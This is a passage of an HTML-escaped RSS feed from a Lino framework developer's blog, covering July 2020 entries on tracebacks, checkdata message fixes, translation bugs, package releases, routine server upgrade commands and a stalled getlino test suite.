&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino_react/react/renderer.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;574&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt;
    &lt;span class="n"&gt;py2js&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino/utils/jsgen.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;416&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;py2js&lt;/span&gt;
    &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino_react/react/renderer.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;367&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;py2js_converter&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;hasattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_handle&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;get_columns&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino/core/actors.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;888&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_handle&lt;/span&gt;
    &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_handle_name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Tried&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;static&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;debts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PrintEntriesByBudget&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_handle_name&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="n"&gt;PrintEntriesByBudget&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_handle_name&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;lino_welfare&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;debts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ui&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PrintEntriesByBudget&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="optimizations-for-dealing-with-checkdata-messages"&gt;
&lt;h2&gt;Optimizations for dealing with checkdata messages&lt;a class="headerlink" href="#optimizations-for-dealing-with-checkdata-messages" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;When the end user deletes the object referred to by a checkdata problem
message, that message should automatically get deleted.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The confirmation message when deleting a record  now has an additional text
“as well as related volatile records (x Data problem messages)”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;street_prefix should also be considered an address field to be synchronized
with the owner of an &lt;cite&gt;addresses.Address&lt;/cite&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I had the idea to add a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.checkdata.Messages&lt;/span&gt;&lt;/code&gt; filter parameter
&lt;cite&gt;show_fixable&lt;/cite&gt;. But that turns out to be non-trivial because a&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;DetailLayout of Household should show the address&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove &lt;cite&gt;region&lt;/cite&gt; field from PartnerDetail&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0724.html</guid><pubDate>Fri, 24 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, July 23, 2020</title><link>https://luc.lino-framework.org/blog/2020/0723.html</link><description>&lt;section id="thursday-july-23-2020"&gt;
&lt;h1&gt;Thursday, July 23, 2020&lt;a class="headerlink" href="#thursday-july-23-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Now that the big move to Python 3 is finally done (after 20 months of stable
operation), weleup will become more active again.&lt;/p&gt;
&lt;p&gt;Steve and I decided that &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.pcsw.IdentityChecker&lt;/span&gt;&lt;/code&gt; is
useless and gets deactivated.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/specs/coachings.html#lino_xl.lib.coachings.ClientChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.coachings.ClientChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixin was duplicated
&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.pcsw.html#module-lino_welfare.modlib.pcsw" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.pcsw&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Actually it should be named
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;CoachableChecker&lt;/span&gt;&lt;/code&gt;, but that’s a minor naming inconsistency.&lt;/p&gt;
&lt;p&gt;The checkdata message “Similar clients” appeared in English and not in the
language of the responsible user. That was because the checker did this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Similar clients: &lt;/span&gt;&lt;span class="si"&gt;{clients}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The correct way is like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;format_lazy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Similar clients: &lt;/span&gt;&lt;span class="si"&gt;{clients}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;clients&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lst&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="after-release-on-weleup-site"&gt;
&lt;h2&gt;After-release on weleup site&lt;a class="headerlink" href="#after-release-on-weleup-site" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First minor upgrade with above changes plus those since their code freeze
(20200720), including especially the reorganization into new package
&lt;a class="reference external" href="https://atelier.lino-framework.org/api/index.html#module-rstgen" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Releases to PyPI with today’s work: xl 20.7.7, welfare 20.7.2, weleup 20.7.1&lt;/p&gt;
&lt;p&gt;Todo on the server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo service apache2 stop
$ sudo service supervisor stop
$ go prod
$ ./make_snapshot.sh  # just in case
$ a
$ pip uninstall atelier
$ pip install -U rstgen etgen lino lino_xl lino_welfare lino_weleup
$ nano settings.py  # edit checkdata.responsible_user and title
$ python manage.py run checkdata_delete_all.py
$ python manage.py checkdata cal.ObsoleteEventTypeChecker --fix
$ python manage.py checkdata
$ sudo service apache2 start
$ sudo service supervisor start
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata_delete_all.py&lt;/span&gt;&lt;/code&gt; script is a quick workaround for the
problem that Lino does not (yet) delete “invalid” checkdata messages (i.e.
messages with an unknown checker).&lt;/p&gt;
&lt;p&gt;They had a traceback caused by &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.ipdict&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino/modlib/ipdict/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_data_rows&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_request&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;supported&lt;/span&gt; &lt;span class="n"&gt;between&lt;/span&gt; &lt;span class="n"&gt;instances&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;datetime.datetime&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I don’t know how they managed to do this, but indeed it is obviously possible to
have an &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.ipdict.IPRecord&lt;/span&gt;&lt;/code&gt; instance with &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;last_request&lt;/span&gt;&lt;/code&gt;
being &lt;cite&gt;None&lt;/cite&gt;.  Okay, let’s sort them as if their last_request was
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.startup_time" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.startup_time&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  This is an untested theoretical bug
fix.&lt;/p&gt;
&lt;p&gt;Changes in Lino (they don’t get these today):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New command-line option &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--prune&lt;/span&gt;&lt;/code&gt; for &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fix a bug that caused Lino to fail processing database rows with invalid
choicelist value even when
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.strict_choicelist_values" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.strict_choicelist_values&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was set to &lt;cite&gt;False&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fix a bug in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.ipdict&lt;/span&gt;&lt;/code&gt; that caused Lino to not show the list
of connections when one connection managed to have no &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;last_request&lt;/span&gt;&lt;/code&gt;.
Not reproduced and not tested.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="review-dockerfiles-for-getlino"&gt;
&lt;h2&gt;Review dockerfiles for getlino&lt;a class="headerlink" href="#review-dockerfiles-for-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;$ docker container rm mycont
$ docker run -it –name mycont debian_with_getlino /bin/bash
$ docker start mycont
$ docker attach mycont&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0723.html</guid><pubDate>Thu, 23 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0722.html</link><description>&lt;section id="wednesday-july-22-2020"&gt;
&lt;h1&gt;Wednesday, July 22, 2020&lt;a class="headerlink" href="#wednesday-july-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="ismail-still-having-problems"&gt;
&lt;h2&gt;Ismail still having problems&lt;a class="headerlink" href="#ismail-still-having-problems" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ismail reported more problems with installing his &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-developer-environment" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;developer environment&lt;/span&gt;&lt;/a&gt;.
I manually tested the installation instructions and discovered (and fixed) more
problems. Ismail stumbles into these problems because we do not yet have an
automated test case for the installation instructions at
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#lino-dev-install" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;must release lino 20.7.6 after rstgen&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rstgen had a packaging error. rstgen 20.7.1&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;move atelier.utils to rstgen.utils : atelier 1.1.27, rstgen 20.7.2&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;weasyprint didn’t declare imagesize dependency : lino 20.7.7&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;fix import utils from rstgen instead of atelier lino 20.7.8&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;fix more import utils from rstgen instead of atelier&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;fix no user nathalie during prep&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;release lino 20.7.9 to pypi&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;release avanti 20.7.3 to pypi&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;lino_noi did “from rstgen.sphinxconf.base import py2url_txt”.
must move py2url_txt to rstgen.utils.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TODO: release to pypi atelier, rstgen and noi&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;NB:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;When everything works but you get a blank page: check your browser’s developer
console. When static dir is not being served by runserver, this may come
because DEBUG is not set to False&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="more-manual-testing-on-the-weleup-preview"&gt;
&lt;h2&gt;More manual testing on the weleup preview&lt;a class="headerlink" href="#more-manual-testing-on-the-weleup-preview" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As yesterday, it was the file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare/modlib/welfare/config/excerpts/Default.odt&lt;/span&gt;&lt;/code&gt;
(the &lt;a class="reference external" href="https://welfare.lino-framework.org/specs/excerpts.html#xfile-excerpts-Default.odt" title="(in Lino Welfare)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;excerpts/Default.odt&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in the
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.excerpts&lt;/span&gt;&lt;/code&gt; plugin).
This appy template uses a frame to define the left margin
The width of that frame was now &lt;em&gt;40,99mm&lt;/em&gt;
and the padding left and right were &lt;em&gt;2,8mm&lt;/em&gt;. I changed them to &lt;em&gt;42mm&lt;/em&gt; and &lt;em&gt;1,5mm&lt;/em&gt;.
Also the user’s email address was now being printed, but not in their old version.&lt;/p&gt;
&lt;p&gt;Also the vertical spacing between &lt;cite&gt;OurRef&lt;/cite&gt; and &lt;cite&gt;Heading 1&lt;/cite&gt; was now much smaller.
I decided to fix this by making the optional heading “(Translation)” appear with
empty content also when the document is not a translation.  This happens in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare/modlib/aids/config/aids/Confirmation/certificate.body.html&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As to &lt;em&gt;why&lt;/em&gt; these side effects occur: Did I “optimize” these
templates a some moment when preparing a demo for a potential customer?
No, because the git history shows that i haven’t modified the file since
&lt;a class="reference external" href="https://luc.lino-framework.org/blog/2018/0928.html"&gt;2018-09-28&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My next explanation is that LibreOffice has changed how it reads certain
properties.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getting-tests-to-pass-on-travis"&gt;
&lt;h2&gt;Getting tests to pass on Travis&lt;a class="headerlink" href="#getting-tests-to-pass-on-travis" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I think I got the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;welfare/docs/specs/misc.rst&lt;/span&gt;&lt;/code&gt; failure. It was caused by
the following bug in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.config.ConfigDirCache.scan_config_dirs()&lt;/span&gt;&lt;/code&gt;.
When &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is used, the local_pth is not among the settings
subdirs. But if it exists, Lino must find it. (This feature is not actually
being used at the moment, but who knows.)&lt;/p&gt;
&lt;p&gt;I released rstgen, lino and lino_xl to PyPI.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0722.html</guid><pubDate>Wed, 22 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 21, 2020</title><link>https://luc.lino-framework.org/blog/2020/0721.html</link><description>&lt;section id="tuesday-july-21-2020"&gt;
&lt;h1&gt;Tuesday, July 21, 2020&lt;a class="headerlink" href="#tuesday-july-21-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="the-getlino-test-suite-failing"&gt;
&lt;h2&gt;The getlino test suite failing&lt;a class="headerlink" href="#the-getlino-test-suite-failing" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The getlino test suite gets stuck at  &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--batch&lt;/span&gt; &lt;span class="pre"&gt;--monit&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dad19689e7&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;monit&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;

&lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;m0s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;potentially&lt;/span&gt; &lt;span class="n"&gt;indicates&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="n"&gt;stalled&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="n"&gt;wrong&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt; &lt;span class="n"&gt;itself&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How can I see the output of that command during these 10 minutes?&lt;/p&gt;
&lt;p&gt;Here is the code that runs the command:&lt;/p&gt;
